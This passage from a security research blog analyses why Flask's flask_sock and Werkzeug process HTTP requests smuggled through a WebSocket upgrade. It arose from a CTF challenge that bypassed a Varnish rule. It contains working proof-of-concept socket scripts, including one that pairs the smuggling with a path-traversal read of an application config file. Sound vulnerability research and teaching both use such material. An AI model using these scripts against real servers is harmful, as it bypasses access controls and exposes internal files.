As for why the content is not "A_129", it is because xmlNodeGetContent expects attribute references to have a certain structure (XML_ENTITY_REF_NODE -children-> XML_ENTITY_DECL -children-> XML_TEXT_NODE), but as part of duplicating a document, when copying an entity, its XML_TEXT_NODE children node is not copied, see xmlCopyEntity.

duplicated document

original document


its now clear why the schema validation sees something and the XPath sees something else, the schema validation is running on the document, and the XPath on the mutated duplicated document.

Conclusion

While I am a big fan of auditing through source code review, this finding is a reminder that dynamic testing and fuzzing is essential to uncover edge cases where the code assumptions do not hold up.


Thursday, August 17, 2023

a tale of a weird WebSocket based HTTP request smuggling bug

I recently played Securinets CTF, which have hosted a Web challenge Mark4Archive by @nzeros, which required to bypass this Varnish rule:

if (req.url ~ "^/api/pdf") {
    # Respond with a 403 Forbidden status
    return (synth(403, "Forbidden - Internal Endpoint"));
}
I, and most of the people who solved the challenge, bypassed the rule by just prepending more slashes to the start of the path so that the regex matching fails (e.g: //api/pdf). However when the CTF ended, the author disclosed the intended way to bypass the Varnish rule, it was an HTTP request smuggling using WebSockets. this is the block which handles WebSockets connection in the challenge's Varnish configuration file:
    if (req.http.upgrade ~ "(?i)websocket") {
        return (pipe);
    }
In case of a WebSocket connection Varnish returns pipe, which means Varnish will take from hereafter whatever the client sends to the same socket and forward it to the backend system, which makes sense in case of a WebSocket, where the traffic after the initial HTTP handshake is raw WebSocket binary frames which should be forwarded directly to the backend WebSocket server.

The challenge author's writeup has the PoC script to exploit the HTTP request smuggling issue, and references the technique disclosed some time ago by @0ang3el, you can read more about it here, TLDR is to trick the frontend server (e.g Varnish) to think that the backend has reserved the current socket for WebSocket connection, while the backend is not, so that the frontend server keeps the socket open with the backend, and you issue arbitrary HTTP requests bypassing the frontend server rules. but looking at the PoC script:


import socket
import os
req1 = '''GET /echo HTTP/1.1
Host: 20.197.61.105:80
Sec-WebSocket-Version: 13
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: qsdqsdqs
New: aaasaa

'''.replace('\n', '\r\n')


req2 = '''GET /api/pdf?p=../../../../../../../usr/src/app/config/__pycache__/config.cpython-37.pyc HTTP/1.1
Host: 20.197.61.105:80

'''.replace('\n', '\r\n')




def main(netloc):
    host, port = netloc.split(':')

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, int(port)))
    print("supposed connected")
    sock.sendall(req1.encode('utf-8'))
    data1 = sock.recv(4096).decode()
    print("data1 \n", data1)
    print("----------")

    sock.sendall(req2.encode('utf-8'))
    data = sock.recv(8192)

    print("data",data)

    sock.sendall(req2.encode('utf-8'))
    data = sock.recv(8192)

    print("data2",data)
    a = []
    #print(sock.recv(8192))
    start = False
    while (x:=sock.recv(2048)) != b"":
        if b"PDF-" in x:
            x = x[x.find(b"%PDF-"):]
            start = True
        if start:
            a.append(x)
        else:
            print(x)
    #print(a) 
    # print(sock.recv(8192))
    
    # print(sock.recv(2048))
    # print(sock.recv(2048))
    # print(sock.recv(1024))
    # print(sock.recv(1024))
    # print(sock.recv(1024))
    # print(sock.recv(1024))
    # print(sock.recv(1024))
    sock.shutdown(socket.SHUT_RDWR)
    sock.close()
    #data = b'%PDF-1.4\n\r\n40\r\n%\x93\x8c\x8b\x9e ReportLab Generated PDF document http://www.reportlab.com\n\r\n8\r\n1 0 obj\n\r\n3\r\n<<\n\r\n1e\r\n/F1 2 0 R /F2 3 0 R /F3 4 0 R\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n2 0 obj\n\r\n3\r\n<<\n\r\n56\r\n/BaseFont /Helvetica /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n3 0 obj\n\r\n3\r\n<<\n\r\n5b\r\n/BaseFont /Helvetica-Bold /Encoding /WinAnsiEncoding /Name /F2 /Subtype /Type1 /Type /Font\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n4 0 obj\n\r\n3\r\n<<\n\r\n54\r\n/BaseFont /Courier /Encoding /WinAnsiEncoding /Name /F3 /Subtype /Type1 /Type /Font\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n5 0 obj\n\r\n3\r\n<<\n\r\n46\r\n/Contents 9 0 R /MediaBox [ 0 0 792 612 ] /Parent 8 0 R /Resources <<\n\r\n3c\r\n/Font 1 0 R /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ]\n\r\n17\r\n>> /Rotate 0 /Trans <<\n\r\n1\r\n\n\r\n4\r\n>> \n\r\ne\r\n  /Type /Page\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n6 0 obj\n\r\n3\r\n<<\n\r\n2f\r\n/PageMode /UseNone /Pages 8 0 R /Type /Catalog\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n7 0 obj\n\r\n3\r\n<<\n\r\nc2\r\n/Author (\\(anonymous\\)) /CreationDate (D:20230806025432+00\'00\') /Creator (\\(unspecified\\)) /Keywords () /ModDate (D:20230806025432+00\'00\') /Producer (ReportLab PDF Library - www.reportlab.com) \n\r\n44\r\n  /Subject (\\(unspecified\\)) /Title (\\(anonymous\\)) /Trapped /False\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n8 0 obj\n\r\n3\r\n<<\n\r\n26\r\n/Count 1 /Kids [ 5 0 R ] /Type /Pages\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n9 0 obj\n\r\n3\r\n<<\n\r\n34\r\n/Filter [ /ASCII85Decode /FlateDecode ] /Length 619\n\r\n3\r\n>>\n\r\n7\r\nstream\n\r\n275\r\nGasIe9p;&#%)(h*ka6O*A\'@H[qUWtkp95S**=#h9$T>t4$3.`&%D-=AdZME1M\'kG(gYi^:EVIZrJ<(SPY8hcmfam$2-AH=I?aA5N\'q^l*\'G=/ObQTWNPq+EGYFVnp_(Hma!He]S&&&K2]*.#\'"fsr_9f\'X6;lJkBI*f/?D.V[qC/&nu#MDnohS[6B"]"QGp=C!ulDF>8)[)Z&p2n[tG\'ju"#pVuT^_@/q_KBM88Xr5"k!J4&LJ"n*ZpuO?C5bUd8"0MED9"2*hBJgkD9>HQA^;PgF70o:o4lm#Zq-5(-t7mV=m0NhSKfX#gE_Vbi?4VZ1P/HG7T$\'OC]iXIlZ3Xjl8Ol\\h$P21$JC@(=>\'3?@Lc_(;R]3STjcm#[PapoF^*W9WG3tWd9PlBI<6d .enigf7="" e.7hcwy-="" e:rthj="" j="" lc="" lh7nundf="" ll1="" o8oaw="" pr="" q="" qwn="" rt="" rvgsqech9gx1="">.X"_lpQoq(umf&]k0I>.J[8X,T2BdOV>g_lAQ\'B08X@`0Elkq:\\W0aH,\'"=-4IT,V4_M?nV7pt-eQg\'MTrr^f5e$`rZYbC#;ErFjT~>endstream\n\r\n7\r\nendobj\n\r\n5\r\nxref\n\r\n5\r\n0 10\n\r\n14\r\n0000000000 65535 f \n\r\n14\r\n0000000073 00000 n \n\r\n14\r\n0000000124 00000 n \n\r\n14\r\n0000000231 00000 n \n\r\n14\r\n0000000343 00000 n \n\r\n14\r\n0000000448 00000 n \n\r\n14\r\n0000000641 00000 n \n\r\n14\r\n0000000709 00000 n \n\r\n14\r\n0000000992 00000 n \n\r\n14\r\n0000001051 00000 n \n\r\n8\r\ntrailer\n\r\n3\r\n<<\n\r\n5\r\n/ID \n\r\n47\r\n[<43143a1b321f0a753a89d946df872565><43143a1b321f0a753a89d946df872565>]\n\r\n48\r\n% ReportLab generated PDF document -- digest (http://www.reportlab.com)\n\r\n1\r\n\n\r\nc\r\n/Info 7 0 R\n\r\nc\r\n/Root 6 0 R\n\r\n9\r\n/Size 10\n\r\n3\r\n>>\n\r\na\r\nstartxref\n\r\n5\r\n1760\n\r\n6\r\n%%EOF\n\r\n0\r\n\r\n'.replace(b'\r\n', b'')
    data= b''.join(a).replace(b'\r\n', b'')
    print(data)

    it = 0
    idx = data.find(b'\n')
    parsed = data[:idx+1]
    data = data[idx:]

    while (idx := data.find(b'\n')) != -1:
        print("parsed", parsed)
        data = data[idx+1:]
        print("data", data[:50])
        offsetEnd = 1
        offset = int(b"0x"+data[:offsetEnd], 16)
        if offset == 0:
            break
        while data[offsetEnd:][offset-1] != 10:
            #print(data[offsetEnd:])
            #print(offset, data[offsetEnd:][offset])
            offsetEnd += 1
            offset = int(b"0x"+data[:offsetEnd], 16)
        print("toadd", data[offsetEnd:][:offset])
        parsed += data[offsetEnd:][:offset]
        
        print(parsed)
        it +=1
        if it == 2:
            pass

    if os.path.exists("output_sol.pdf"):
        os.remove("output_sol.pdf")
    with open('output_sol.pdf', 'wb') as f:
        f.write(parsed)

if __name__ == "__main__":
    main('20.197.61.105:80')
you will notice that the WebSocket handshake is actually valid, and the backend indeed honors it, and returns 101 Upgrade WebSocket. although the PoC is working and /api/pdf is hit and response is retrieved, this is clearly not a Varnish issue, as the WebSocket handshake is done and it is valid, so there is no "tricking" here. but rather the backend system somehow executes HTTP requests although they are sent down the WebSocket stream.

to confirm this, i created a minimal backend that has an HTTP endpoint and a WebSocket endpoint, edited the PoC to GET /internal instead of /api/pdf, run the PoC directly on the minimal backend (no Varnish at all) and my guess was right, the app returned 101 Upgrade, followed by WebSocket messages, then the response of the "smuggled" request to /internal. this is the minimal backend:
from flask import Flask, Response
from flask_sock import Sock
import time

import json

app = Flask(__name__)
sock = Sock(app)

@app.route('/internal')
def internal():
    return "ACCESS GRANTED", 200

@sock.route('/echo')
def echo(sock):
    total_size = 100
    progress = 0
    while progress < total_size:
        time.sleep(0.1)
        progress += 10
        sock.send(json.dumps({'progress': progress}))
    return "complete!"

if __name__ == '__main__':
    app.run()


now it is clear that the issue is in flask_sock or some other Python component and not Varnish, after several hours of debugging it turned out that whats happening was that the whole socket input was taken as a pipelined HTTP request or at least in Python's http.server realm.

this is an example of an HTTP request that uses pipelining:

GET /first HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive GET /second HTTP/1.1 Host: 127.0.0.1 Connection: close

if you try pipelining HTTP requests directly on the app it won't work:


because Werkzeug does not support it, and always returns Connection: close header. here is the relevant snippet:
	# Always close the connection. This disables HTTP/1.1
	# keep-alive connections. They aren't handled well by
	# Python's http.server because it doesn't know how to
	# drain the stream before the next request line.
	self.send_header("Connection", "close")
	self.end_headers()
But http.server's BaseHTTPRequestHandler does support it, you just need to set protocol_version property of the handler to HTTP/1.1 or higher:


Werkzeug does set its protocol_version to HTTP/1.1, here is the relevant code:
        # If the handler doesn't directly set a protocol version and
        # thread or process workers are used, then allow chunked
        # responses and keep-alive connections by enabling HTTP/1.1.
        if "protocol_version" not in vars(handler) and (
            self.multithread or self.multiprocess
        ):
            handler.protocol_version = "HTTP/1.1"
but it does not work, because of this snippet:

	# Always close the connection. This disables HTTP/1.1
	# keep-alive connections. They aren't handled well by
	# Python's http.server because it doesn't know how to
	# drain the stream before the next request line.
	self.send_header("Connection", "close")
	self.end_headers()
self.send_header() sets a flag which prevents http.server's BaseHTTPRequestHandler from continuing reading from the socket (and thus handling only the first request):
    def send_header(self, keyword, value):
        """Send a MIME header to the headers buffer."""
        if self.request_version != 'HTTP/0.9':
            if not hasattr(self, '_headers_buffer'):
                self._headers_buffer = []
            self._headers_buffer.append(
                ("%s: %s\r\n" % (keyword, value)).encode('latin-1', 'strict'))

        if keyword.lower() == 'connection':
            if value.lower() == 'close':
                self.close_connection = True
            elif value.lower() == 'keep-alive':
                self.close_connection = False
if the header is connection and the value is close, self.close_connection is set to True, this flag is what keeps BaseHTTPRequestHandler handler routine looking for more HTTP requests in the same socket. as you can see here:
    def handle(self):
        """Handle multiple requests if necessary."""
        self.close_connection = True

        self.handle_one_request()
        while not self.close_connection:
            self.handle_one_request()
it is set to True by default which means handle only one request, but it is set later on to False in case the connection header value is not close and HTTP version is >=1.1 inside handle_one_request method, now you might be wondering why does this work with WebSockets, we know that Werkzeug always calls set_header with connection: close after each route has completed executing which should set self.close_connection to True and break the looplets have a look into flask_sock code:
        def decorator(f):
            @wraps(f)
            def websocket_route(*args, **kwargs):  # pragma: no cover
                ws = Server(request.environ, **current_app.config.get(
                    'SOCK_SERVER_OPTIONS', {}))
                try:
                    f(ws, *args, **kwargs)
                except ConnectionClosed:
                    pass
                try:
                    ws.close()
                except:  # noqa: E722
                    pass

                class WebSocketResponse(Response):
                    def __call__(self, *args, **kwargs):
                        if ws.mode == 'eventlet':
                            try:
                                from eventlet.wsgi import WSGI_LOCAL
                                ALREADY_HANDLED = []
                            except ImportError:
                                from eventlet.wsgi import ALREADY_HANDLED
                                WSGI_LOCAL = None

                            if hasattr(WSGI_LOCAL, 'already_handled'):
                                WSGI_LOCAL.already_handled = True
                            return ALREADY_HANDLED
                        elif ws.mode == 'gunicorn':
                            raise StopIteration()
                        elif ws.mode == 'werkzeug':
                            raise ConnectionError()
                        else:
                            return []

                return WebSocketResponse()
this is the decorator of the routes defined by @sock.route f() is the decorated route, every time an HTTP request is received at the defined route using @sock.route websocket_route is ran. it initiates a new Server from simple-websocket package. and calls the route with the initiated Server object.

handshake method is called up on Server initiation:
    def handshake(self):
        in_data = b'GET / HTTP/1.1\r\n'
        for key, value in self.environ.items():
            if key.startswith('HTTP_'):
                header = '-'.join([p.capitalize() for p in key[5:].split('_')])
                in_data += f'{header}: {value}\r\n'.encode()
        in_data += b'\r\n'
        self.ws.receive_data(in_data)
        self.connected = self._handle_events()
it builds back the HTTP handshake request using the parsed headers as the original request is already consumed by the HTTP server, once it is built it is feed to WebSocket stream using receive_data method, self.ws.events() yields a handshake Request event that is handled by _handle_events method.

    def _handle_events(self):
        keep_going = True
        out_data = b''
        for event in self.ws.events():
            try:
                if isinstance(event, Request):
                    self.subprotocol = self.choose_subprotocol(event)
                    out_data += self.ws.send(AcceptConnection(
                        subprotocol=self.subprotocol,
                        extensions=[PerMessageDeflate()]))
                elif isinstance(event, CloseConnection):
                    if self.is_server:
                        out_data += self.ws.send(event.response())
                    self.close_reason = event.code
                    self.close_message = event.reason
                    self.connected = False
                    self.event.set()
                    keep_going = False
                elif isinstance(event, Ping):
                    out_data += self.ws.send(event.response())
                elif isinstance(event, Pong):
                    self.pong_received = True
                elif isinstance(event, (TextMessage, BytesMessage)):
                    self.incoming_message_len += len(event.data)
                    if self.max_message_size and \
                            self.incoming_message_len > self.max_message_size:
                        out_data += self.ws.send(CloseConnection(
                            CloseReason.MESSAGE_TOO_BIG, 'Message is too big'))
                        self.event.set()
                        keep_going = False
                        break
                    if self.incoming_message is None:
                        # store message as is first
                        # if it is the first of a group, the message will be
                        # converted to bytearray on arrival of the second
                        # part, since bytearrays are mutable and can be
                        # concatenated more efficiently
                        self.incoming_message = event.data
                    elif isinstance(event, TextMessage):
                        if not isinstance(self.incoming_message, bytearray):
                            # convert to bytearray and append
                            self.incoming_message = bytearray(
                                (self.incoming_message + event.data).encode())
                        else:
                            # append to bytearray
                            self.incoming_message += event.data.encode()
                    else:
                        if not isinstance(self.incoming_message, bytearray):
                            # convert to mutable bytearray and append
                            self.incoming_message = bytearray(
                                self.incoming_message + event.data)
                        else:
                            # append to bytearray
                            self.incoming_message += event.data
                    if not event.message_finished:
                        continue
                    if isinstance(self.incoming_message, (str, bytes)):
                        # single part message
                        self.input_buffer.append(self.incoming_message)
                    elif isinstance(event, TextMessage):
                        # convert multi-part message back to text
                        self.input_buffer.append(
                            self.incoming_message.decode())
                    else:
                        # convert multi-part message back to bytes
                        self.input_buffer.append(bytes(self.incoming_message))
                    self.incoming_message = None
                    self.incoming_message_len = 0
                    self.event.set()
                else:  # pragma: no cover
                    pass
            except LocalProtocolError:  # pragma: no cover
                out_data = b''
                self.event.set()
                keep_going = False
        if out_data:
            self.sock.send(out_data)
        return keep_going
out_data would be the HTTP upgrade response and it will be sent to the client by the WebSocket server itself in the socket, without Werkzeug interaction.

at this point Werkzeug is still waiting for the route to finish its execution and return the response:
        def execute(app: WSGIApplication) -> None:
            application_iter = app(environ, start_response)
            try:
                for data in application_iter:
                    write(data)
                if not headers_sent:
                    write(b"")
                if chunk_response:
                    self.wfile.write(b"0\r\n\r\n")
            finally:
                # Check for any remaining data in the read socket, and discard it. This
                # will read past request.max_content_length, but lets the client see a
                # 413 response instead of a connection reset failure. If we supported
                # keep-alive connections, this naive approach would break by reading the
                # next request line. Since we know that write (above) closes every
                # connection we can read everything.
                selector = selectors.DefaultSelector()
                selector.register(self.connection, selectors.EVENT_READ)
                total_size = 0
                total_reads = 0

                # A timeout of 0 tends to fail because a client needs a small amount of
                # time to continue sending its data.
                while selector.select(timeout=0.01):
                    # Only read 10MB into memory at a time.
                    data = self.rfile.read(10_000_000)
                    total_size += len(data)
                    total_reads += 1

                    # Stop reading on no data, >=10GB, or 1000 reads. If a client sends
                    # more than that, they'll get a connection reset failure.
                    if not data or total_size >= 10_000_000_000 or total_reads > 1000:
                        break

                selector.close()
Flask app is called in the first line, app() is responsible for resolving the routes internally and calling the right route handler, in this case its websocket_route then echo method, that will sleep 1 second then return. but looking closely at websocket_route you will notice that our returned response (e.i: "complete!") is not used at all, websocket_route does not even capture the return value of echo method. instead it returns WebSockerResponse() object:


                class WebSocketResponse(Response):
                    def __call__(self, *args, **kwargs):
                        if ws.mode == 'eventlet':
                            try:
                                from eventlet.wsgi import WSGI_LOCAL
                                ALREADY_HANDLED = []
                            except ImportError:
                                from eventlet.wsgi import ALREADY_HANDLED
                                WSGI_LOCAL = None

                            if hasattr(WSGI_LOCAL, 'already_handled'):
                                WSGI_LOCAL.already_handled = True
                            return ALREADY_HANDLED
                        elif ws.mode == 'gunicorn':
                            raise StopIteration()
                        elif ws.mode == 'werkzeug':
                            raise ConnectionError()
                        else:
                            return []

                return WebSocketResponse()
in our case, ws.mode is werkzeug, so ConnectionError() is raised. which is caught here:
    def run_wsgi(self) -> None:
        if self.headers.get("Expect", "").lower().strip() == "100-continue":
            self.wfile.write(b"HTTP/1.1 100 Continue\r\n\r\n")

        self.environ = environ = self.make_environ()
        status_set: str | None = None
        headers_set: list[tuple[str, str]] | None = None
        status_sent: str | None = None
        headers_sent: list[tuple[str, str]] | None = None
        chunk_response: bool = False
        
        [snipped]
        
        try:
            execute(self.server.app)
        except (ConnectionError, socket.timeout) as e:
            self.connection_dropped(e, environ)
        except Exception as e:
            if self.server.passthrough_errors:
                raise

            if status_sent is not None and chunk_response:
                self.close_connection = True

            try:
                # if we haven't yet sent the headers but they are set
                # we roll back to be able to set them again.
                if status_sent is None:
                    status_set = None
                    headers_set = None
                execute(InternalServerError())
            except Exception:
                pass

            from .debug.tbtools import DebugTraceback

            msg = DebugTraceback(e).render_traceback_text()
            self.server.log("error", f"Error on request:\n{msg}")
self.connection_dropped is called, defined here:
    def connection_dropped(
        self, error: BaseException, environ: WSGIEnvironment | None = None
    ) -> None:
        """Called if the connection was closed by the client.  By default
        nothing happens.
        """
the function does nothing, run_wsgi returns, marking the end of the current request (GET /echo), leaving self.close_connection set to False, BaseHTTPRequestHandler continues handling the rest of the HTTP requests in the socket, thinking that this is a pipelined HTTP request. 
it should be noted that at this point the socket is closed, as websocket_route have called ws.close(), which closes the socket:
    def close(self, reason=None, message=None):
        super().close(reason=reason, message=message)
        self.sock.close()
BaseHTTPRequestHandler is able to read remaining data in the socket without exceptions, because it does not use the socket instead it has a file object that represents the socket (e.i: self.rfile), this is the setup method of the class:
    def setup(self):
        self.connection = self.request
        if self.timeout is not None:
            self.connection.settimeout(self.timeout)
        if self.disable_nagle_algorithm:
            self.connection.setsockopt(socket.IPPROTO_TCP,
                                       socket.TCP_NODELAY, True)
        self.rfile = self.connection.makefile('rb', self.rbufsize)
        if self.wbufsize == 0:
            self.wfile = _SocketWriter(self.connection)
        else:
            self.wfile = self.connection.makefile('wb', self.wbufsize)
now that we understand the issue better, here is a simple script that GETs /internal:
import socket

req3 = '''GET /echo HTTP/1.1
Host: localhost
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Upgrade: websocket
Origin: http://127.0.0.1
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Sec-WebSocket-Key: V4XssCMN39pL17Emy4b7mQ==

GET /internal HTTP/1.1

'''

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", int("5000")))
print("connected")

sock.sendall(req3.encode('utf-8'))
while True:
    data = sock.recv(8192)
    if data == b'':
        break
    print(data.decode(errors='ignore'))
which gives:


there is one issue left, if the WebSocket route was reading data from the socket it would consume our second HTTP request, lets change our minimal backend and test that:


from flask import Flask, Response
from flask_sock import Sock
import time

import json

app = Flask(__name__)
sock = Sock(app)

@app.route('/internal')
def internal():
    return "ACCESS GRANTED", 200

@sock.route('/echo')
def echo(sock):
    while True:
        data = sock.receive()
        sock.send(data)

if __name__ == '__main__':
    app.run()
if you run the same exploit against this new backend, it won't work, cause sock.receive() call will consume our second HTTP request as WebSocket data. to fix that we can abuse the polling background thread of simple-websocket, if this thread receives invalid WebSocket data it sets self.connected to False, this is the thread routine:
    def _thread(self):
        sel = None
        if self.ping_interval:
            next_ping = time() + self.ping_interval
            sel = self.selector_class()
            sel.register(self.sock, selectors.EVENT_READ, True)

        while self.connected:
            try:
                if sel:
                    now = time()
                    if next_ping <= now or not sel.select(next_ping - now):
                        # we reached the timeout, we have to send a ping
                        if not self.pong_received:
                            self.close(reason=CloseReason.POLICY_VIOLATION,
                                       message='Ping/Pong timeout')
                            break
                        self.pong_received = False
                        self.sock.send(self.ws.send(Ping()))
                        next_ping = max(now, next_ping) + self.ping_interval
                        continue
                in_data = self.sock.recv(self.receive_bytes)
                if len(in_data) == 0:
                    raise OSError()
            except (OSError, ConnectionResetError):  # pragma: no cover
                self.connected = False
                self.event.set()
                break

            self.ws.receive_data(in_data)
            self.connected = self._handle_events()
        sel.close() if sel else None
        self.sock.close()
it receives data then calls self._handle_events which returns False, in case of invalid WebSocket data, self.connected is set to False, and the background thread exits, the WebSocket route will try to call sock.receive but a ConnectionClosed exception will be thrown:

        def receive(self, timeout=None):
        """Receive data over the WebSocket connection.

        :param timeout: Amount of time to wait for the data, in seconds. Set
                        to ``None`` (the default) to wait indefinitely. Set
                        to 0 to read without blocking.

        The data received is returned, as ``bytes`` or ``str``, depending on
        the type of the incoming message.
        """
        while self.connected and not self.input_buffer:
            if not self.event.wait(timeout=timeout):
                return None
            self.event.clear()
        if not self.connected:  # pragma: no cover
            raise ConnectionClosed(self.close_reason, self.close_message)
        return self.input_buffer.pop(0)
the exception will be caught by websocket_route and again it will return and leave the socket free to use, here is the new poc:

    import socket

    req1 = '''GET /echo HTTP/1.1
    Host: localhost
    Connection: Upgrade
    Pragma: no-cache
    Cache-Control: no-cache
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
    Upgrade: websocket
    Origin: http://127.0.0.1
    Sec-WebSocket-Version: 13
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Sec-WebSocket-Key: V4XssCMN39pL17Emy4b7mQ==

    '''
    req2 = '''GET /internal HTTP/1.1

    '''

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("127.0.0.1", int("5000")))
    print("connected")

    sock.sendall(req1.encode('utf-8'))
    print(sock.recv(8192).decode(errors='ignore'))

    sock.sendall(("A"*4096).encode('utf-8'))
    __import__("time").sleep(2)
    print(sock.recv(8192).decode(errors='ignore'))

    sock.sendall(req2.encode('utf-8'))
    while True:
        data = sock.recv(8192)
        if data == b'':
            break
        print(data.decode(errors='ignore'))
 

Abusing libxml2 quirks to bypass SAML authentication on GitHub Enterprise (CVE-2025-23369)

Last year, GitHub had issued some CVEs for issues that affected their SAML authentication implementation, for example, you can read about CV...